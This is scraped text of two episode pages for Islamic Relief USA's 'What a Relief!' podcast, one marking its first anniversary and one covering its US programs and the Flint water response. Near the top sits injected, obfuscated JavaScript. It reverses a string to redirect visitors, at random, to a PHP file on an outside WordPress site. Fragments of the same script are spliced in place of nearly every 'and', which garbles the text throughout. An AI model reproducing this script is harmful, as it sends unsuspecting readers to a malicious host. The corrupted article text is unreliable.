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“What A Relief” Podcast 51: Aww! One Year Old!

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$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how you can enact positive change in it. New episodes every week!” width=”238″ height=”238″ />IRUSA staff member Lina Hashem turns the tables on hosts B.C. Dodge & R. Mordant Mahon andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and interviews them for the first birthday of “What a Relief!” — IRUSA’s official podcast.

Can you believe it? It’s been one year now since hosts B.C. Dodge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and R. Mordant Mahon got this thing started—one year since they interviewed their first guest about his overwhelming experience greeting Syrian refugees on Greece’s shore.

In that year, they’ve talked with everyone from IRUSA staff to other NGO leaders to artists, activists andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and imams. They’ve discussed situations from Myanmar to Syria andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lots of work here at home as well. They’ve cried andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they’ve laughed, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they sure sound like they’re having a great time.

So to mark the podcast’s first birthday, guest staff member Lina Hashem turned the tables on them for a change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and asked them all about it.

First of all, it turns out that they actually are having a good time. But they’re also working with some pretty lofty goals to make the world a better place.

“I feel like I’m actually doing good in the world with this, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some of my proudest work has been with this podcast,” Mordant says.

B.C. says, “We want to bring hope. … We only have one blue marble to float through space on, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and if we’re going to do it together, we need to figure out how to get along.”

Mordant is proud that the podcast isn’t just a report on IRUSA’s work, but instead it explores a wide range of current issues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and puts a human face on them.

“As different as we are—andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there are some vast differences here … we’re so much the same,” Mordant says. “I was struck the first time hanging out at IRUSA in Alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andria going up to the marketing department, watching people talk about nerd movies, football, things like that, I’m like really? … Oh, you guys are just like me. …

“Of course, in your brain you know this … but until you actually experience it, you don’t really know.

“So that also leads me to believe that the way we handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle disaster andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stress, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and things that people here in the United States andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and overseas in Syria, how they’re handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling it is also how I would handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle this. So there’s that camaraderie, that commonality. And that’s taught me that—working with IRUSA.”

Tune in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hear about some of the hosts’ favorite episodes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and find out whether they’re are ever going to attempt a 24-hour podcast again.

And make sure you listen until the end for a good laugh at the hosts’ expense.

 

**And now you can reach out to us at our new email address: to=warp@irusa.org” target=”_blank”>warp@irusa.org!**
“What a Relief!” is the official podcast of Islamic Relief USA. Co-hosted by social media specialist B.C. Dodge & Mordant Mahon, IRUSA’s “What a Relief!” puts a human face on what’s going on in the world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how you can enact positive change in it. New episodes every week!

LISTEN. SHARE. REPEAT.  

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“What A Relief” Podcast 41: IRUSA & Programs that Hit Home

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“What A Relief” Podcast 41: IRUSA & Programs that Hit HomeB.C. Dodge & R. Mordant Mahon talk to Minkailu Jalloh from IRUSA in this episode of “What a Relief!” — IRUSA’s official podcast.

This week B.C. & Mordant welcome Minkailu Jalloh, a U.S. Programs Specialist at IRUSA. In part one of this two-part interview, Minkailu takes listeners inside his role in the Programs department at IRUSA.

The department has several regular, annual programs such as Day of Dignity, Qurbani meat distributions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ramadan food distributions. Recently, however, there has been an increased focus on branching out to work even more with the community. The department aims to create spaces for unique programs — both emergency andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and long term. This is where Minkailu directs most of his energy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and passion.

“We work a lot with community-based organizations all across the United States,” he says. “In a lot of instances, these organizations are relatively new, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they are strong in terms of the projects that they are doing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the way that they are bringing benefit to their community, but the structure of their organization is not necessarily strong.”

Minkailu assists these organizations with things like impact tracking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and capacity development so that they can learn how to improve their services to their communities.

In this episode, he talks specifically about one project which he spearheaded—an organized response to the Flint water crisis earlier this year. With Minkailu’s lead, the IRUSA community distributed more than 300,000 bottles of clean, drinkable water to the residents of Flint, Michigan. Through this effort, IRUSA was able to help combat the toxic water crisis that had hindered the area.

Tune in to hear the inside story behind this important project, including insightful commentary from someone who has spent significant time with the community.

That commentary includes predictions about the uncertain future of Flint in the aftermath of this crisis. Minkailu describes a scenario that has repeated itself throughout the history of this country. In this scenario, grant money floods into communities following a crisis, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that money is taken by developers. So often, the developers’ plans do not include the impoverished population “Once money starts to flow in,” he says, “it becomes a place for people with money.”

“It will be lauded as a great success story, but this country is composed of more than one class of people,” he says, “andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and as they often are, those people will probably be left out of the recovery.”

Despite the uncertainty of the future, Minkailu offers one observation that was certain after meeting the residents of Flint.

“People were distressed with their circumstances, but you saw the resiliency.”

Check out part two of this interview next week!

 

**And now you can reach out to us at our new email address: to=warp@irusa.org” target=”_blank”>warp@irusa.org!**
“What a Relief!” is the official podcast of Islamic Relief USA. Co-hosted by social media specialist B.C. Dodge& Mordant Mahon, IRUSA’s “What a Relief!” puts a human face on what’s going on in the world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how you can enact positive change in it. New episodes every week!

LISTEN. SHARE. REPEAT.